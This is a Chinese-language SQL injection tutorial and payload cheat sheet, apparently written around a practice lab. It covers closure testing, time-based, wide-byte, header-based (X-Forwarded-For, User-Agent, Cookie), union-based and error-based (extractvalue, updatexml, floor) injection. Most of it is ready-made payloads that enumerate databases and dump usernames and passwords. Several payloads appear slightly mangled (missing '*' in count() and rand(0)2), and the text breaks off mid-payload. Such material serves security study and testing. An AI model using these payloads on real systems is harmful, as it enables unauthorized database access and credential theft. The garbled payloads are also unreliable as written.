产生的原因
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,带入数据库中进行查询,从而导致数据的泄露或者修改。
02
分类
1、按照查询的类型分类
数字型
select * from user where id=1
尝试闭合的方式有:
id=1 and 1=1 回显正常
id=1 and 1=2 回显错误
等等
字符型
select * from user where name=‘xxx’
select * from user where name=“lihua”
尝试闭合的方式有
#单引号
id=1' and '1'='1 回显正常
id=1' and '1'='2 回显错误id=1' and 1=1# 回显正常
id=1' and 1=2# 回显错误#双引号
id=1" and "1"="1 回显正常
id=1" and "1"="2 回显错误id=1" and 1=1# 回显正常
id=1" and 1=2# 回显错误#延时注入判断(页面没有变化)
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠?id=1')and (sleep(4)) --+ 错误
?id=1'and (sleep(4)) --+ 正确 执行该命令在网络中可以看时间#等等闭合方式,打开思路,如与(),(('')),(("")),('')等等#宽字节注入
1%df'
搜索型
select * from user where search like ‘%1%’
2、按照提交的方式分类
GET
在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
POST
通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
判断注入点是在用户名还是密码处,都试一试,看哪里页面有变化
Cookie
有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
Referer
XFF
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错。从而导致注册或者登录用户失败。burpsuite 抓包,提交输入检测语句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
两次提交返回不一样,存在 SQL 注入漏洞
补充
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
UA注入
输入点在User-Agent
3、按照效果分类
联合注入
判断列数:
?id=1' order by 4# 报错
?id=1' order by 3# 没有报错,说明存在3列爆出数据库:
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#爆出数据表:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#爆出字段:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#爆出数据值:
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
拓展一些其他函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统多条数据显示函数:
concat()、group_concat()、concat_ws()
关于将id值设置为0或者负数的解释
由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果为空,我们插入的SQL语句的结果就会被返回。
报错注入
extractvalue()
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)?id=1' and extractvalue(1, concat(0x7e,(select database()),0x7e))#(爆数据库)?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)
updatexml()
细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
floor()
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他)?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schem